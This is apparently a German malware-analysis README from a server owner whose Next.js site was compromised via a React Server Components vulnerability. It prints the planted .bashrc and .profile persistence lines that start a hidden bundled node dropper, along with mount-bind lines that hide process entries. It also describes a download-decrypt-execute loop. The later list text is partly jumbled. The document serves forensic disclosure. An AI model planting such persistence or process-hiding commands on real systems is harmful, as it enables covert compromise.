
Analyse von Malware, die auf einem über CVE-2025-55182 kompromittierten Server gefunden wurde, einschließlich obfuskiertem Dropper, C2-Kommunikation, Persistenzmechanismen und forensischer Untersuchung.
Dies ist ein Dump von Malware und anderem verdächtigen Kram, den ich nach dem React-Server-Side-Rendering-Exploit zur Codeausführung auf dem Server meiner Hochzeitswebsite gefunden habe. Es ist eine kleine DigitalOcean-Droplet, auf der eine ziemlich gewöhnliche Next.js-App läuft.
Die CVE: https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
Ein Protokoll der Serveraktivität mit verschiedenen Spikes und so:

Der Hauptübeltäter scheint dieses Ding zu sein, das in /.local/share/.r0qsv8h1 installiert ist
In meiner bashrc:
# System
(nohup /.local/share/.r0qsv8h1/.394ly8v9/bin/node /.local/share/.r0qsv8h1/.fvq2lzl64e.js >/dev/null 2>&1 &) 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
Beachte: Die pgreps sind da, um zu verhindern, dass diese andere gefälschte „meshagent“-Malware läuft. Mehr dazu kannst du im Dokument MESHAGENT.md lesen.
In meinem Profil steht dasselbe
# App
(/.local/share/.r0qsv8h1/.394ly8v9/bin/node /.local/share/.r0qsv8h1/.fvq2lzl64e.js >/dev/null 2>&1 &) 2>/dev/null
Weitere verdächtige Dienste findest du in SUSPICIOUS_SERVICES.md
Hier ist eine Analyse der Haupt-Malware:
Das Verzeichnis bad enthält eine eigenständige Node.js-Laufzeitumgebung, gebündelt mit einer Reihe von stark verschleierten JavaScript-Dateien.
Alle Hinweise deuten darauf hin, dass es sich um einen bösartigen Dropper handelt, der still einen Remote-Server kontaktiert, eine verschlüsselte Nutzlast herunterlädt, sie entschlüsselt, auf die Festplatte schreibt und als abgekoppelten Hintergrundprozess ausführt. Der Code prüft außerdem regelmäßig den Server auf Updates.
| Datei | Beschreibung |
|---|---|
.394ly8v9/README.md | Standard-Node.js-README – steht in keinem Zusammenhang mit der schädlichen Funktionalität; es ist nur vorhanden, damit das Bündel legitim aussieht. |
.fvq2lzl64e.js | ~5 KB verschleiertes JavaScript. Es erstellt eine JSON-RPC-HTTP-Anfrage, empfängt eine base64-kodierte Nutzlast, entschlüsselt sie mit einer eigenen Chiffre, schreibt die Nutzlast in eine zufällige Datei und führt sie über child_process.spawn / execSync aus. Außerdem wird ein abgekoppelter Hintergrundprozess gestartet, der den Remote-Server wiederholt abfragt. |
.lauphhtqrg.js | ~13 KB verschleiertes JavaScript. Implementiert eine ähnliche Download-Entschlüsseln-Ausführen-Schleife mit einer eigenen RC4-artigen Chiffre (dec). Schreibt die entschlüsselte Nutzlast in eine generierte Datei und führt sie aus. Richtet einen Timer ein, um später neue Nutzlasten abzurufen. |
.5f8562 | Base64-String im Klartext. Dekodiert zu einem kleinen JSON-Manifest: json { "0":"c6aeb84b-0600-4e82-ae3e-f7d441a2fd7c", "1":".fvq2lzj6te.js", "3":1765307786421, "4":"desktop" } Dieses Manifest teilt dem Loader mit, welches Skript ausgeführt werden soll (.fvq2lzj6te.js), und liefert eine Kennung/einen Zeitstempel. |
.b0rtqscrkeov | Noch nicht untersucht, aber das Benennungsmuster deutet darauf hin, dass es sich um eine weitere Komponente derselben Schadkette handelt. |
bin/node und die dazugehörigen lib/-Dateien | Eine vollständige Node.js-Laufzeitumgebung, die es den Skripten ermöglicht, auch auf Systemen ohne installiertes Node.js zu laufen. |
Die Base64-Nutzlast in .5f8562 dekodiert zu:
{
"0": "c6aeb84b-0600-4e82-ae3e-f7d441a2fd7c",
"1": ".fvq2lzj6te.js",
"3": 1765307786421,
"4": "desktop"
}
"1" verweist auf das wichtigste verschleierte Loader-Skript."0" ist eine UUID, die der Remote-Server vermutlich zur Nachverfolgung verwendet."3" ist ein Zeitstempel (Unix-Epoch in ms), der angibt, wann das Manifest erstellt wurde."4" gibt den vorgesehenen Zielort an (desktop), was darauf hindeutet, dass die Nutzlast versuchen könnte, sich dort zu verstecken.node .5f8562), verweist das Manifest auf .fvq2lzj6te.js.setInterval-Timer wiederholt regelmäßig die Sequenz aus Herunterladen, Entschlüsseln und Ausführen, sodass der Angreifer ohne weitere Benutzerinteraktion neue oder aktualisierte Nutzlasten ausliefern kann.PATH, cwd usw.) und kann typische bösartige Aktionen ausführen, wie Kryptomining, Diebstahl von Anmeldedaten oder Remote-Codeausführung..r0qsv8h1 und alle Dateien, die es möglicherweise erstellt hat (prüfe den Desktop des Benutzers und die temporären Verzeichnisse auf neu erstellte ausführbare Dateien).Diese Analyse wurde automatisch von einem KI-Assistenten auf der Grundlage einer statischen Untersuchung der im Verzeichnis vorhandenen Dateien durchgeführt. Es wurde keine Laufzeitausführung vorgenommen.
Mehr dazu kannst du in DEOBFUSCATE.md lesen